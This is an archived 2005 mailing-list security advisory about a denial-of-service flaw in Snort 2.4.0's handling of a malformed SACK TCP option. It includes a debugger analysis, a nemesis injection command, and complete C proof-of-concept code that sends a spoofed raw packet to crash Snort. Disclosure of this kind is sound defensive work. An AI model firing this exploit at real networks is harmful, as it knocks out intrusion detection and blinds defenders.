Snort <= 2.4.0 SACK TCP Option Error Handling

From: QA=2E_Alejandro_Hern=E1ndez=22?= (nitrous_at_vulnfact.com)
Date: 09/12/05

  • Next message: Ben Nagy: "RE: MS05-039"
    Date: Sun, 11 Sep 2005 16:33:32 -0600
    To: vuln-dev@securityfocus.com
    
    

      Snort <= 2.4.0 SACK TCP Option Error Handling

    Package: Snort 2.4.0 (And previous versions)
    Vendor url: http://www.snort.org
    Class: Error Handling Exceptional Conditions
    Risk: High
    Credits: A. Alejandro Hernández Hernández
    Contact: nitrous[at]vulnfact[dot]com

    *BACKGROUND*
    Snort is an open source network intrusion detection and prevention
    system. It is capable of performing
    real-time traffic analysis, alerting, blocking and packet logging on IP
    networks. It utilizes a combination
    of protocol analysis and pattern matchingin order to detect a anomalies,
    misuse and attacks.

    *DESCRIPTION*
    A vulnerability found in PrintTcpOptions() function located in
    snort-2.4.0/src/log.c could allow an attacker
    to craft a malformed TCP/IP packet and make a DoS or totally crash Snort
    in a remote system. To test it,
    Snort needs to run in verbose mode (switch -v). See the Analysis section
    for technical details.

    *VULNERABLE VERSIONS*
    The vulnerability was discovered and researched on the following packages:
    # snort 2.4.0 @ OpenBSD 3.7 GENERIC
    # snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
    # snort 2.3.2 @ Debian Linux 3.1 "Sarge"
    # snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
    # snort 2.3.0 @ Red Hat Linux 9
    # snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
    # snort 2.0.0 @ OpenBSD 3.5 GENERIC
    Is suspected that previous versions are also affected by this vulnerability.

    *DISCLOSURE TIMELINE*
    Flaw Discovered: 20/08/2005.
    Vendor Notification: 22/08/2005.
    Vendor Response: 23/08/2005.
    Date Published: 11/09/2005.

    *ANALYSIS*

    Fuzzing Snort 2.4.0 with fuzzball2 I got:

    =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

    08/21-11:22:18.674064 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x36
    127.0.0.1:80 -> 127.0.0.1:29383 TCP TTL:64 TOS:0x0 ID:64 IpLen:20 DgmLen:40 DF
    ***A*R** Seq: 0x0 Ack: 0x4A2AC316 Win: 0x0 TcpLen: 20
    0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 ..............E.
    0x0010: 00 28 00 40 40 00 40 06 3C 8E 7F 00 00 01 7F 00 .(.@@.@.<.......
    0x0020: 00 01 00 50 72 C7 00 00 00 00 4A 2A C3 16 50 14 ...Pr.....J*..P.
    0x0030: 00 00 31 76 00 00 ..1v..

    =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

    08/21-11:22:18.676194 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
    127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44
    ******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24
    TCP Options (2) => Violación de segmento

    The process catch a SIGSEGV signal, ok, now I need to know what packet number crash Snort:

    root@blackb0x # snort -veX -i lo -q > DUMP.log
    Violación de segmento
    root@blackb0x # grep 127 DUMP.log | wc -l
    123

    At this moment I know that the packet number 123 is the evil (may change) hu! ;)...
    Attaching Snort to GDB:

    root@blackb0x # gdb -q snort
    Using host libthread_db library /lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) r -veX -i lo
    Starting program: /usr/local/bin/snort -veX -i lo
    ...SNIPED...
    08/21-11:25:40.328775 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
    127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44
    ******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24
    TCP Options (2) =>
    Program received signal SIGSEGV, Segmentation fault.
    0x0804fef2 in PrintTcpOptions (fp=0xb7f8f120, p=0xbffff360) at log.c:1543
    1543 memcpy(tmp, p->tcp_options[i].data, 2);
    (gdb) print tmp
    $1 = "\000\000\000\000"
    (gdb) print p
    $2 = (Packet *) 0xbffff360
    (gdb) print i
    $3 = 0
    (gdb) print p->tcp_options[i]
    $4 = {code = 5 '\005', len = 0 '\0', data = 0x0}
    (gdb) print p->tcp_options[i].code
    $3 = 5 '\005'
    (gdb) x/4b p->tcp_options_data
    0x824edd0: 0x05 0x02 0x00 0x00

    The error is in line 1543 from log.c:

    root@blackb0x:/home/nitrous/software/snort-2.4.0/src # cat -n log.c | grep -C 10 1543
      1533 case TCPOPT_NOP:
      1534 fwrite("NOP ", 4, 1, fp);
      1535 break;
      1536
      1537 case TCPOPT_WSCALE:
      1538 fprintf(fp, "WS: %u ", p->tcp_options[i].data[0]);
      1539 break;
      1540
      1541 case TCPOPT_SACK:
      1542 bzero((char *) tmp, 5);
      1543 memcpy(tmp, p->tcp_options[i].data, 2);
      1544 fprintf(fp, "Sack: %u@", EXTRACT_16BITS(tmp));
      1545 bzero((char *) tmp, 5);
      1546 memcpy(tmp, (p->tcp_options[i].data) + 2, 2);
      1547 fprintf(fp, "%u ", EXTRACT_16BITS(tmp));
      1548 break;
      1549
      1550 case TCPOPT_SACKOK:
      1551 fwrite("SackOK ", 7, 1, fp);
      1552 break;

    Reading the GDB's output I found that p->tcp_options[i].code value is 5 (TCPOPT_SACK).

    Analyzing the Raw packet with tcpdump:

    #tcpdump -i lo -eXX -c 123 | tail -5
    11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840
     
     0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E..,Å’O..ÿ..z....
     0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....rÇ.P.Ã.oCñ."
     0020: 6002 16d0 3caf 0000 0502 0000 `..Ã<¯......

    I think that the last 4 bytes are the evil ;) and make my own packet:

    root@blackb0x # printf "\x05\x02\x00\x00" > payload
    root@blackb0x # nemesis tcp -S 33.33.33.33 -D 127.0.0.1 -x 31337 -y 64876 -o ./payload
    TCP Packet Injected

    And again, I got:

    root@blackb0x # snort -veX -i lo -q
    08/21-11:54:34.449751 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
    33.33.33.33:31337 -> 127.0.0.1:64876 TCP TTL:255 TOS:0x0 ID:61316 IpLen:20 DgmLen:44
    ******S* Seq: 0x46FE88E2 Ack: 0x1494CF39 Win: 0x1000 TcpLen: 24
    TCP Options (2) => Violación de segmento

    But the flaw doesn't appear to effect IDS mode in standard configurations (without -v flag):

    root@blackb0x # snort -c etc/snort.conf -D
    root@blackb0x # ps aux | grep snort
    root 9947 5.3 31.6 38616 34720 ? Ss 11:24 0:00 snort -c etc/snort.conf -D
    root 9949 0.0 0.6 3384 760 pts/1 S+ 11:24 0:00 grep snort
    root@blackb0x # ./snortrigger localhost
    -=[ Snort <= 2.4.0 Trigger p0c
    -=[ By nitr0us

    -=[ Sending Malformed TCP/IP Packet...
    -=[ Sent 44 bytes to localhost
    -=[ Snort killed !
    root@blackb0x # ps aux | grep snort
    root 9947 1.9 31.6 38616 34736 ? Ss 11:24 0:00 snort -c etc/snort.conf -D
    root 9952 0.0 0.6 3384 760 pts/2 S+ 11:24 0:00 grep snort

    See below for PoC code.

    *PROOF OF CONCEPT*

    /*_------------------------------------------_
     ||------+ Snort <= 2.4.0 Trigger p0c +------||
     ||__________________________________________||
     ||--=[ nitrous [at] vulnfact [dot] com ]=--||
     ||--=[ VulnFact Security Labs ]=--||
     ||--=[ 21 Ago 2oo5 ]=--||
     ||--=[ Mexico ]=--||
     ||__________________________________________||
      -__________________________________________-

     Snort <= 2.4.0 SACK TCP Option Error Handling
     Este código envia al especificado un paquete TCP/IP con 4 bytes extras
     correspondientes al campo TCP Options [TCP Header].
     Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando se
     esta corriendo en verbose mode (-v).

     Esto solo funciona testeando de una maquina a otra directamente conectadas
     (1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet, por
     que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por donde
     pase este paquete lo descartara por no tener una checksum valida.

     RFC #1072 - TCP Extensions for Long-Delay Paths

     3.2- TCP SACK Option:
          ...
          Kind: 5
          Length: Variable
          +--------+--------+--------+--------+--------+--------+
          | Kind=5 | Length | Relative Origin | Block Size |
          +--------+--------+--------+--------+--------+--------+

     Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
     11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840
     <malformed sack [len 0] ,eol>
     0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E..,Å’O..ÿ..z....
     0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....rÇ.P.Ã.oCñ."
     0020: 6002 16d0 3caf 0000 0502 0000 `..Ã<¯......

     Testeado en:
     [+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
     [+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
     [+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
     [+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
     [+] snort 2.3.0 @ Red Hat Linux 9
     [+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
     [+] snort 2.0.0 @ OpenBSD 3.5 GENERIC

     Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, Rowter, Gus, Crypkey,
     protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2 fuzzer, gcarrillog,
     JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de "Sussie 4" ;)...
     Federico L. Bossi Bonin
    */

    #include<stdio.h>
    #include<string.h>
    #include<unistd.h>
    #include<errno.h>
    #include<netdb.h>
    #include<sys/types.h>
    #include<sys/socket.h>
    #include<netinet/in.h>
    //#define __USE_BSD 1 /* Use BSD's ip header style */
    #include<netinet/ip.h>
    #define __FAVOR_BSD 1 /* Use BSD's tcp header style */
    #include<netinet/tcp.h>

    #define IPSIZE sizeof(struct ip)
    #define TCPSIZE sizeof(struct tcphdr)
    #define DEFAULT_SRC_IP "200.31.33.70"

    char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

    int usage(char *name)
    {
            fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
            fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);

            return 0;
    }

    int main(int argc, char **argv)
    {
            char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
            char *srcip = DEFAULT_SRC_IP;
            int sockfd, count;
            int one = 1; /* setsockopt() */
            struct sockaddr_in target;
            struct hostent *host2ip;
            struct ip *IP = (struct ip *) packet;
            struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

            if(argc < 2)
                    return(usage(*argv));

            if(argc == 3)
                    srcip = argv[2];

            if((host2ip = gethostbyname(argv[1])) == NULL){
                    perror("gethostbyname");
                    exit(-1);
            }

            if(getuid() != 0){
                    fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
                    exit(-1);
            }

            memset(packet, 0x00, sizeof(packet));

            memset(&target, 0x00, sizeof(target));
            target.sin_family = AF_INET;
            target.sin_port = htons(64876);
            target.sin_addr = *((struct in_addr *)host2ip->h_addr);

            /*** BUILDING MALFORMED PACKET ***/
            IP->ip_hl = 0x05;
            IP->ip_v = 0x04;
            IP->ip_tos = 0x00;
            IP->ip_len = IPSIZE + TCPSIZE + 4;
            IP->ip_id = 0x00;
            IP->ip_off = 0x00;
            IP->ip_ttl = 0xff;
            IP->ip_p = IPPROTO_TCP;
            IP->ip_sum = 0x00;
            IP->ip_src.s_addr = inet_addr(srcip);
            IP->ip_dst.s_addr = target.sin_addr.s_addr;

            TCP->th_sport = htons(31337);
            TCP->th_dport = target.sin_port;
            TCP->th_seq = 0x00;
            TCP->th_ack = 0x00;
            TCP->th_x2 = 0x00;
            TCP->th_off = 0x06;
            TCP->th_flags = 0x00; /* NO Syn ;) */
            TCP->th_win = htons(0xffff);
            TCP->th_sum = 0x00;
            TCP->th_urp = 0x00;

            memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
            /*** END ***/

            if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
                    perror("socket");
                    exit(-1);
            }

            if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
                    perror("setsockopt");
                    exit(-1);
            }

            printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
            printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
            printf("-=[ Sending Malformed TCP/IP Packet...\n");

            if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr *)&target, sizeof(target))) == -1){
                    perror("sendto");
                    close(sockfd);
                    exit(-1);
            }

            printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
            printf("-=[ Snort killed !\n");

            close(sockfd);
            return 0;
    }

    *VENDOR RESPONSE/WORKAROUND*
    Still working to release Snort 2.4.1.

    *RELATED LINKS*
    This Security Advisory
    http://www.vulnfact.com/advisories/snort_adv.html

    Proof of Concept code
    http://www.vulnfact.com/exploits/snortrigger.c

    Fuzzball2 TCP/IP Options Fuzzer
    http://www.nologin.org/main.pl?action=codeView&codeId=54&
    <http://www.nologin.org/main.pl?action=codeView&codeId=54&>

    RFC #1072 - TCP Extensions for Long-Delay Paths
    ftp://ftp.rfc-editor.org/in-notes/rfc1072.txt

    TCP Option Numbers
    http://www.iana.org/assignments/tcp-parameters


  • Next message: Ben Nagy: "RE: MS05-039"

    Relevant Pages

    • [UNIX] Snort SACK TCP Option Handling DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Snort is "an open source network intrusion ... TCP Options => Violaci n de segmento ... que el campo TCP->th_sum es 0, por lo tanto, el primer Router por ...
      (Securiteam)
    • Re: Port 6667 ?????????
      ... Here is what snort caught on the packets. ... TCP Options => MSS: ...
      (comp.os.linux.security)
    • Re: Snort + (OpenBSD or Linux)
      ... Snort + (OpenBSD or Linux) ... on packet analysis. ...
      (Focus-IDS)
    • [NEWS] Snort TCP Stream Reassembly Integer Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Snort is a very popular open source network intrusion detection system. ... A workaround for this bug is to disable the TCP stream reassembly module. ... packets with the free command line packet creating utility called hping ...
      (Securiteam)
    • [UNIX] Buffer Overflow in Snort RPC Preprocessor
      ... A buffer overflow has been found in the Snort RPC normalization routines ... The first option will alert on any RPC fragmented record it finds. ... current packet length. ...
      (Securiteam)